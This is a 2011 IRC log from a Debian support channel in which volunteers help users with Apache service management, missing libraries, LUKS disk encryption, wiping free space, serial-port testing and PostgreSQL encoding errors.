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| 19:55.17 | dobalina | is this presumably still considered the relevant procedure on chroot ing an apache install on debian even in 2011 on squeeze (it' dated 2002 so maybe there's better methods since?) http://www.debian.org/doc/manuals/securing-debian-howto/ap-chroot-apache-env.en.html ? |
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| 19:55.38 | miasma | is this really up to date? http://wiki.debian.org/Xinitrc -- i'm having some issues starting a proper freedesktop.org & policykit compatible session with xinitrc. does anyone know how you should start a non-gnome/kde/xfce/lxde DE in debian? |
| 19:57.17 | Guest16722 | How come I have so many instances of apache2 running (checked with ps -A | grep apache)... There are a total of 12 instances of apache2 running. Is this normal? Why is that? |
| 19:57.28 | steve_any | can anyone reccomend a chanel to ask about using the truncate command? |
| 19:57.45 | Digdilem | Guest16722, yes, normal. it's multi-threaded. you can adjust it with apache's conf |
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| 19:58.24 | miasma | ah, it's not limited to those. it seems starting any DE using startx is broken on debian with those instructions |
| 19:58.38 | nickSwe | Digdilem, Ahaa I see... So if I wish to restart apache2, how shall I do it? |
| 19:58.54 | Digdilem | nick_h, /etc/init.d/apache restart OR apache2ctl restart |
| 19:59.40 | nickSwe | Digdilem, thank you so much! I assume it is start, stop and restart, for everything inside the init.d folder (that will be my services?) |
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| 19:59.53 | Digdilem | yeah, that's a reasonable guide |
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| 20:00.36 | nickSwe | Digdilem, Thank you! (just starting with server-side linux so still a lot to learn)... Thanks :) |
| 20:00.42 | Digdilem | no worries |
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| 20:02.06 | Iridos | ok, thanks for the ideas woshty/somiaj/themill |
| 20:02.23 | anoob | my printer is not detected automatically anymore... what should i do? i've reinstalled cups ... |
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| 20:02.51 | Iridos | themill, the FAQ /usr/share/doc/sshfs/FAQ.txt.gz says one should set ServerAliveInterval to 15... not sure how useful that is, but worth a try |
| 20:03.26 | Iridos | (possibly sucks in conjunction with autossh, though) |
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| 20:06.12 | themill | Iridos: that sends an ssh protocol ping back and forth; I don't know how that handles the "server went away" problem. |
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| 20:07.02 | Iridos | themill, I also wonder how exactly it's supposed to help... but as it's in their FAQ, it'll probably have some merit |
| 20:07.29 | themill | let me know how it goes for you ;) |
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| 20:07.42 | Iridos | themill, it could work by killing ssh after 15 seconds of inactivity and sshfs might restart it |
| 20:07.53 | tharkun | Gentlemen on what type of circumstances the kernel would send a message to all terminals? |
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| 20:08.41 | jbeatty | tharkun: machine is shutting down |
| 20:08.58 | tharkun | jbeatty: not this case |
| 20:09.15 | Iridos | themill, well, if it works, there will be nothing to report as I will not notice anymore :) |
| 20:09.25 | Iridos | I can make a short test now, though |
| 20:09.36 | tharkun | The machine actually froze and it had to be restarted manually (power button) |
| 20:10.56 | poisonbit | logger -p kern.emerg "somebody created a file with a newline in the name" |
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| 20:15.27 | aguitel | how to open system setting with root? |
| 20:15.48 | nickSwe | Digdilem, apache2ctl stop/start/restart worked fine, but apache2 stop/start/restart did not work (from the init.d directory). Why is that? |
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| 20:16.13 | poisonbit | tharkun, # grep -r KERN_EMERG linux-2.6.32.42 | wc -l |
| 20:16.14 | poisonbit | 357 |
| 20:16.51 | Iridos | them....grrrrrrrr |
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| 20:17.21 | abrotman | nickSwe: you have to use the full path to the init script |
| 20:17.25 | poisonbit | always can match the grep -r output filenames with current loaded modules |
| 20:17.48 | nickSwe | abrotman, aah I see! thanks :) |
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| 20:23.51 | pyroscope | nickSwe: try "service apache2 ..." |
| 20:24.06 | Digdilem | nickSwe, it's "/etc/init.d/apache2 restart" |
| 20:24.30 | nickSwe | pyroscope, Digdilem: thank you both. I figured it out now :) |
| 20:25.33 | tharkun | poisonbit: complains about not having that file. It might have been the wm i switched to a different one and i'll hope it does not happen again |
| 20:26.30 | sixyearsofdreams | is lenny still the latest ? |
| 20:27.02 | sixyearsofdreams | Linux version 2.6.26-2-686 (Debian 2.6.26-21lenny4) |
| 20:27.21 | mjt | http://www.debian.org/releases/ |
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| 20:27.48 | mjt | squeeze has been released at Feb-06, 2011. |
| 20:28.10 | sixyearsofdreams | ok |
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| 20:28.19 | Iridos | or just look at the topic |
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| 20:28.50 | sixyearsofdreams | would it be recomended that i upgrade from lenny to squeeze? |
| 20:28.58 | Iridos | yes |
| 20:29.11 | Eval_Sanchez | why don't I have `lsusb`? |
| 20:29.31 | Eval_Sanchez | shouldn't it be working out of the box or..? |
| 20:29.33 | Iridos | lenny security updates will be available for 1 year after squeeze was released |
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| 20:29.54 | Iridos | install it? |
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| 20:33.01 | diegocn | hello ppl... i'm using debian 6 (amd 64) and have downloaded firefox 64 bits, it was working perfectly until some hours ago, but now it dont start |
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| 20:33.38 | diegocn | when i try open it with konsole, i got this error: ./firefox-bin: error while loading shared libraries: libstdc++.so.6: cannot open shared object file: No such file or directory |
| 20:34.24 | sixyearsofdreams | diegocn: libstdc++ missing not installed? |
| 20:35.00 | diegocn | sixyearsofdreams, i have this lib installed (i guess)... |
| 20:35.28 | Iridos | err... there's iceweasel in debian, which is basically a rebranded firefox because of some long story... so no actual need to use not-packaged firefox. |
| 20:36.23 | dobalina | does anyone know of a more up to date guide for chrooting than http://www.debian.org/doc/manuals/securing-debian-howto/ap-chroot-apache-env.en.html it seems a bit "out of date" |
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| 20:36.37 | sixyearsofdreams | sadf |
| 20:36.41 | Iridos | should be in the lib64stdc++6 or libstdc++6 (I run 32bit debian) |
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| 20:37.13 | diegocn | http://pastebin.com/cRk6RDRz |
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| 20:37.39 | vlt | Hello. I'm running Debian stable with its xen hypervisor and kernel. Every few hours the server crashes and looses SATA drives. Because there's no storage to write to I don't know the kernel messages thrown when this happens. |
| 20:37.43 | vlt | Can anyone help me, please, setting up logging via serial cable to another machine? |
| 20:38.10 | n2deep | hi all I'm seeing eth0: Memory squeeze, dropping packet on a 32 bit Lenny virtual machine console output. |
| 20:38.19 | Iridos | diegocn, ^^^ |
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| 20:38.56 | n2deep | Can anyone help diagnose, memory looks ok the machine. |
| 20:39.17 | diegocn | lib64stdc++6 does not exists |
| 20:39.42 | Iridos | diegocn, and please "LANG=C" for errors you paste. ... but I think you have the lib (line 34, although I can't really read it), so probably should ask the firefox people why their stuff doesn't work |
| 20:40.05 | TBotNik | All: Still trying to fix my remote network. Forum write up at: http://ubuntuforums.org/showthread.php?t=1804424&page=3 Hope we can whip this today. Thanks! |
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| 20:41.39 | Iridos | but you're having some dependency conflicts there, that I can't read |
| 20:42.00 | Iridos | judd, versions libstdc++6-4.4-dbg |
| 20:42.00 | judd | Package libstdc++6-4.4-dbg on i386 -- squeeze: 4.4.5-8; wheezy: 4.4.6-6; sid: 4.4.6-7 |
| 20:42.07 | diegocn | yeah, some conflicts.. i dont know why |
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| 20:42.19 | dobalina | would chrooting apache2 on debian basically break teh ability to update it via the debian package management utility? |
| 20:42.31 | Iridos | judd, versions libstdc++6-4.4-dbg --release amd64 |
| 20:42.32 | judd | Sorry, no package named 'libstdc++6-4.4-dbg' was found in i386. |
| 20:42.34 | vlt | !details | TBotNik |
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| 20:42.56 | TBotNik | All: Got back to having IPs on LAN via dhcp3-server, but can not ping hard address or names. Had hard addresses working before, but on new install now. |
| 20:43.30 | vlt | TBotNik: What did you do? What did you expect? What happened instead? |
| 20:44.04 | Iridos | TBotNik, if you wrote it there and ask here, you're either here or there at the wrong place, as this is not #ubuntu |
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| 20:45.32 | leejongwook | [Q] How do I remove beeping sound from Virtual Terminal ? |
| 20:45.46 | TBotNik | vlt: Did you read the forum post? |
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| 20:46.37 | vlt | TBotNik: No |
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| 20:46.43 | Iridos | leejongwook, what "virtual terminal" |
| 20:46.58 | leejongwook | I did add 'blacklist pcspkr' to /etc/modprobe.d/blacklist.conf but didn't work |
| 20:47.20 | leejongwook | Iridos, ctrl-alt-F1 to F6 == VT |
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| 20:48.07 | Iridos | !bell |
| 20:48.07 | dpkg | To disable the bell: "xset b off" in X, "setterm -blength 0" in console. For some reason, bash beeps excessively when in emacs (default) mode; "set -o vi" puts it in vi editing mode, which doesn't beep on partial completions. In konsole, Settings->Bell->Visible Bell. See also <pcspkr>, <shell beep>, <metacity bell bug>. |
| 20:48.59 | Iridos | leejongwook, blacklisting pcspkr should work, but only after a reboot (but you can "rmmod pcspkr" for now) |
| 20:49.04 | leejongwook | Iridos, Thanks :) |
| 20:49.13 | leejongwook | I see. |
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| 20:50.17 | leejongwook | lsmod | grep pcspkr --> no output, setterm -blength 0 ---> works :) |
| 20:50.21 | Iridos | leejongwook, you can /msg dpkg keyword for the <keyword>s in the factoid for additional information |
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| 20:50.52 | Iridos | leejongwook, yeah... I think the module is now called snd-pcsp in alsa |
| 20:51.01 | leejongwook | I see. |
| 20:51.54 | leejongwook | Thank you :) You have good night. |
| 20:52.33 | Iridos | err |
| 20:52.44 | m3lvin | Hi, is it possible to encrypt a drive without having to copy all the content into it? I have a drive with 1.2TB of data that if possible I'd rather encrypt it without transferring everything over from the backup. |
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| 20:53.36 | leejongwook | Huh ? |
| 20:54.32 | bolt | any suggestions for a tool to wipe free space on ext3 drives? (zero all non-used space) |
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| 20:55.17 | Iridos | well, seems at least on my system it's still called pcspkr |
| 20:55.21 | jhutchins_lt | bolt: dd |
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| 20:55.55 | leejongwook | Iridos, Yes it was pcspkr. I saw it before I reboot my PC. |
| 20:55.55 | Iridos | bolt, perhaps the stuff that comes up with apt-cache search wipe disk |
| 20:56.08 | fredden | bolt, something like 'dd if=/dev/zero of=/path/to/ext3-fs/big-file; rm /path/to/ext3-fs/big-file' ? |
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| 20:56.30 | Iridos | (3 hits, all seem relevant) |
| 20:56.45 | TBotNik | Who knows about dns-nameservers? |
| 20:56.46 | Iridos | s/3/4/ |
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| 20:57.26 | bolt | thanks |
| 20:57.28 | leejongwook | Thank you all. Thanks FSF/Debian. Bye :) |
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| 20:57.58 | vlt | m3lvin: It is possible by encrypting block by block on the device. But I would not reccommend it. The current crypt standard for devices in linux is LUKS which now adds a header to the device, so encrypting on-the-fly isn't possible using it. |
| 20:58.02 | bolt | TBotNik: you should ask a specific question. someone who "knows" that tool doesn't necessarily know the answer to your question. and someone who wouldn't claim to "know" the tool might accidentally know |
| 20:58.07 | m3lvin | bolt: There's also the package secure-delete which has the tool sfill which will erase all empty space |
| 20:58.16 | vlt | TBotNik: What did you do? What did you expect? What happened instead? |
| 20:58.18 | bolt | m3lvin: yah. just found that. installing :) |
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| 20:58.37 | TBotNik | vlt, bolt: Forum write up at: http://ubuntuforums.org/showthread.php?t=1804424&page=3 |
| 20:58.49 | bolt | TBotNik: #ubuntu is there for you :) |
| 20:59.09 | TBotNik | No answer on #ubuntu |
| 20:59.14 | bolt | !they don't know |
| 20:59.14 | dpkg | Just because the people in some OTHER channel don't know the answer to your non-Debian question, it does NOT give you the right to hassle US with your problems. Go try Google. |
| 20:59.57 | agney | lol |
| 21:00.10 | vlt | TBotNik: You didn't even try to answer my questions. |
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| 21:01.01 | TBotNik | vlt: Seriously you want me to re-type 3 pages of stuff for you? |
| 21:01.27 | vlt | TBotNik: Not for me. For you. And please not three pages ... |
| 21:01.35 | m3lvin | vlt: thanks, I suspected that would be the case. The reason for doing this is I'm going on a trip and would rather have my disk encrypted incase it gets lost..., I'm thinking encfs will suffice, do you agree? |
| 21:01.42 | jhutchins_lt | And not here, as this is not Ubuntu support |
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| 21:02.24 | vlt | m3lvin: Since I only use LUKS for all my encrypted devices I can't tell you about encfs, sorry. |
| 21:02.58 | TBotNik | vlt: I don't need to type anything for me as been fighting this for days, so have tried everything I know already. That may not be saying much, but have given it all my 10 years of Linux work has got. |
| 21:03.47 | catsup | Those extra three seconds during my monthly reboot are really going to add up! |
| 21:03.55 | m3lvin | vlt: ok, thanks for the info, I'll read more on LUKS |
| 21:04.15 | vlt | m3lvin: You just need to install pkg cryptsetup. |
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| 21:04.49 | catsup | m3lvin: you'll probably find full disk encryption far simpler and easier to work with than fs-based encryption |
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| 21:06.27 | catsup | TBotNik: switch to debian see if problem persists |
| 21:07.07 | jhutchins_lt | I don't see why a twelve second reboot matters if it still takes over 90 seconds from log-in to desktop. |
| 21:07.33 | catsup | well it certainly doesn't take me 90 seconds from login to desktop |
| 21:07.48 | m3lvin | catsup: well it's just a one time thing really, once I arrive at my destination I won't have the need for encryption so practicality is not such a big deal. But I hadn't heard of LUKS before so I'm going to read on it and it seems Arch wiki has a good guide for it. |
| 21:07.54 | vlt | TBotNik: Listen, we all aren't here 24/7. When someone thinks he might help you (and I assume you want your problem solved) you could indeed try to respond to his questions. Otherwise go on and try to fix it on your own. |
| 21:07.55 | catsup | but uh, i just use xmonad + xterm |
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| 21:08.27 | TBotNik | I would if a simple Q, but not that. As I stated, in my writeup, got IPs on LAN via eth0 (local remote network) coming from dhcp3-server, but can not ping hard addresses or names. I ping fine on this box that bridges them via wlan0 (the internet connect) so either a bridging issue or dns-nameserver issue. Trying to debug. Can you help? |
| 21:08.58 | catsup | m3lvin: just remember, you don't have to repartition anything: you can do it all on a loopback device |
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| 21:09.57 | catsup | man |
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| 21:10.52 | catsup | TBotNik: it is easy to tell a bridging issue from a dns issue |
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| 21:11.33 | TBotNik | catsup: How? |
| 21:11.33 | carandraug | hi! I have a very simple problem irssi. How do I exit? I can't find it on the documentation. A search for exit, close or quit returns nothing. And there's also nothing on the man page |
| 21:11.58 | vlt | carandraug: Type /quit |
| 21:12.12 | catsup | TBotNik: either you can connect ot the dns server or not; and either the dns server gives the right result or not |
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| 21:12.53 | carandraug | vlt, ooh! It works now. Thank you |
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| 21:12.57 | Iridos | * carandraug has left this channel :-P |
| 21:13.00 | catsup | carandraug: lol dude i have been using irssi for years i never used /quit |
| 21:13.18 | catsup | wtf would you want to do that? |
| 21:13.21 | m3lvin | catsup: That sounds good, thanks for the advice. |
| 21:13.33 | carandraug | I'm still here. I'm setting irssi on my server |
| 21:13.42 | Iridos | catsup, you mean... you just stay in here for ever and ever? |
| 21:13.45 | TBotNik | catsup: Does not tell me a thing. I connect but name and pings do not resolve. I think dns-nameserver issue but bridging will do the same. |
| 21:13.53 | carandraug | catsup, you use /exit ? |
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| 21:14.02 | catsup | lol i never quit |
| 21:14.14 | catsup | i use /upgrade which reloads the newest version :p |
| 21:14.18 | Iridos | well, sensible |
| 21:14.23 | dobalina | after doing a basic apt-get install apache i get http://pastebin.com/2QU4mRCQ |
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| 21:14.35 | dobalina | does this mean apache is running as root or as www-data ? |
| 21:14.45 | catsup | i am on about 10 irc networks too. irc is the fastest way to contact me, i rarely pick up my cell phone :) |
| 21:15.12 | catsup | dobalina: apache in debian runs as www-data... |
| 21:15.12 | TBotNik | All: Wait a minute, I just did new install and may have forgot install of bridgin utils, BRB checking! |
| 21:15.40 | dobalina | do you see the first line to of the ps aux output it says user root is that normal? |
| 21:15.40 | carandraug | dobalina, it runs as www-data according to ps aux |
| 21:15.45 | Dinux17 | morning |
| 21:15.47 | karlpinc_ | !tell dobalina about readme.debian |
| 21:15.53 | catsup | dobalina: the one apache running as root is just listening on port 80 (which requires root to listen on) and spawning new processes (which then downgrade their privileges by setuid to www-data) |
| 21:16.04 | ajikeshi | !tell me about telling |
| 21:16.10 | dobalina | :) |
| 21:16.26 | ajikeshi | lol |
| 21:16.29 | Iridos | dobalina, it's running as both... apache _has_ to run as root to be able to use port 80, but it drops privileges for all the other stuff |
| 21:16.30 | ajikeshi | that actually works O_o |
| 21:16.36 | dobalina | aah gotcha makes sense |
| 21:16.41 | woshty | next stupid question: how to get all audio coming out off headphone hd plug to be mono? |
| 21:16.42 | Iridos | !tell ajikeshi -about msg the bot |
| 21:16.46 | jhutchins_lt | ajikeshi: This ain't our first day here. |
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| 21:17.00 | ajikeshi | no but i never used that tell function |
| 21:17.04 | jhutchins_lt | Iridos: That command also works in /msg |
| 21:17.10 | ajikeshi | O_o |
| 21:17.25 | Iridos | jhutchins_lt, you mean tell? |
| 21:17.31 | jhutchins_lt | Yes. |
| 21:17.47 | Iridos | yeah... but that seems kind of impolite |
| 21:17.53 | ajikeshi | mhh any limits on how many tells per second? ;) |
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| 21:18.09 | jhutchins_lt | I think it's about 2sec/query. |
| 21:18.17 | ajikeshi | per IP or per user? xD |
| 21:18.26 | Iridos | per bot? |
| 21:18.27 | TBotNik | K bridging utils missing, so installing, will take a while. |
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| 21:19.13 | jhutchins_lt | TBotNik: Really, this is not about debian. If you want to install a debian system you can discuss it here, but you are very likely to be told something that will break your non-debian system, especially at this level of the system. |
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| 21:22.31 | m3lvin | catsup: One more doubt I have about LUKS is wether the decryption is dependent on the system it was created on? I'm assuming no, but I just want to be sure as I'm only taking the drive with me and not the whole server. |
| 21:22.32 | sixyearsofdreams | im trying to access phpmyadmin, i get the first page up with login, but i cant seem to login, with root/sql password |
| 21:23.43 | sixyearsofdreams | well i got it fixed ;) |
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| 21:24.51 | frostschutz | m3lvin: the only thing that is system dependent about luks is its decision on how many loops to use for the passphrase hashing. it aims at about 1 second calculation time for passphrase validation, so if you create a luks volume on a monster machine and then go to a really slow old computer, it might take a long time to unlock |
| 21:24.57 | agney | sixyearsofdreams, define phpmyadmin password on .htaccess |
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| 21:25.35 | rubin110 | When using xscreensaver, my machine briefly shows the my unlocked screen before going into the screensaver after waking up from suspend. How would I get it to run xscreensaver -lock before going to suspend? |
| 21:26.01 | m3lvin | frostschutz: Thank you |
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| 21:26.25 | jhutchins_lt | rubin110: Mine does the same thing. |
| 21:26.44 | frostschutz | m3lvin: the only other condition is that both systems support the cipher you decided on; which is only a problem if you choose something odd that's not enabled by default in most distros |
| 21:27.19 | agney | sixyearsofdreams, take a look at: http://webmaster.iu.edu/tool_guide_info/phpmyadmin/phpmyadmin.shtml |
| 21:27.31 | jhutchins_lt | rubin110: Only alternative I know of is that rather than displaying the unlocked screen for a second, you display an unrecoverable scrambled screen. |
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| 21:28.45 | machtfuernacht | Hi, I wonder if there are tools like sysv-rc-conf to configure init scripts wenn using insserv? |
| 21:28.47 | m3lvin | frostschutz: That won't be a problem, I've learned to stick with Debian :) my distro hopping days are over. |
| 21:28.57 | rubin110 | jhutchins_lt: Well poop. |
| 21:29.20 | jhutchins_lt | rubin110: Yeah, pretty much. |
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| 21:30.20 | sixyearsofdreams | agney, ok |
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| 21:33.22 | gkwhc | hm i cant get X to start, and i dont see any errors in the log http://pastebin.com/BTgSMPer any ideas? |
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| 21:36.38 | speedrunnerG55 | Hi |
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| 21:57.23 | vlt | Hello. I want to establish a serial connection between two hosts. There's /dev/ttyS0 on both machines. What can I do to test the connection? |
| 21:57.49 | vlt | I found "screen /dev/ttyS0 9600" for example. Should this be run on both machines? |
| 21:58.00 | vlt | What is supposed to happen? |
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| 21:58.59 | krakrjak | use the screen session from the client computer |
| 21:59.09 | krakrjak | on the server end you need to have login running on /dev/ttyS0 |
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| 22:00.06 | krakrjak | see if there is a comment in /etc/inittab to do what you want on the computer that will be running login |
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| 22:01.58 | vlt | krakrjak: I don't need a login screen. I just want to test whether there's a connection at all. |
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| 22:02.30 | vlt | krakrjak: Somethink like "echo Hello > /dev/ttyS0" on one side and "cat /dev/ttyS0" on the other. |
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| 22:05.38 | Bushmills | vlt, screen, called that way, acts a bit like a terminal emulator |
| 22:06.04 | vlt | Bushmills: Ok, what is supposed to happen when I run that command? |
| 22:06.24 | Bushmills | what you type in, goes to serial port. what is sent back, is displayed |
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| 22:06.58 | vlt | Bushmills: The problem is I don't see anything, just a black screen screen. |
| 22:07.33 | ParadoxG | How do I get Postgres to create a UTF database? |
| 22:07.42 | ParadoxG | I configured my locales |
| 22:07.50 | Bushmills | straight cable, or data lines crossed? |
| 22:08.02 | Bushmills | 2 wire, or 4 wire? |
| 22:08.07 | speedrunnerG55 | Hi |
| 22:08.17 | ParadoxG | but when I set the encoding to UTF8 I get "ERROR: encoding UTF8 does not match locale en_CA" |
| 22:08.35 | vlt | Bushmills: That's what I don't know. Maybe that's the reason for the black screen. I'll go to the server and check the cable ... |
| 22:09.30 | Bushmills | with db-25 connectors, for it to work, pin 2 on one side must connect to pin3 on the other side and vice versa |
| 22:09.53 | krakrjak | ParadoxG: client or server? |
| 22:11.04 | Bushmills | you also want to turn off handshaking for testing. at least hardware handshakes |
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| 22:11.13 | krakrjak | ParadoxG: setting the DB is simple. For the entire cluster use initdb -E UTF8, for a single database CREATE DATABASE dbname WITH ENCODING 'UTF8'; or createdb -E UTF8 dbname |
| 22:11.15 | ParadoxG | postgres server |
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| 22:13.53 | ParadoxG | If I do: "createdb --encoding UTF8 testdb", it complains with "The chosen LC_CTYPE setting requires encoding LATIN1." |
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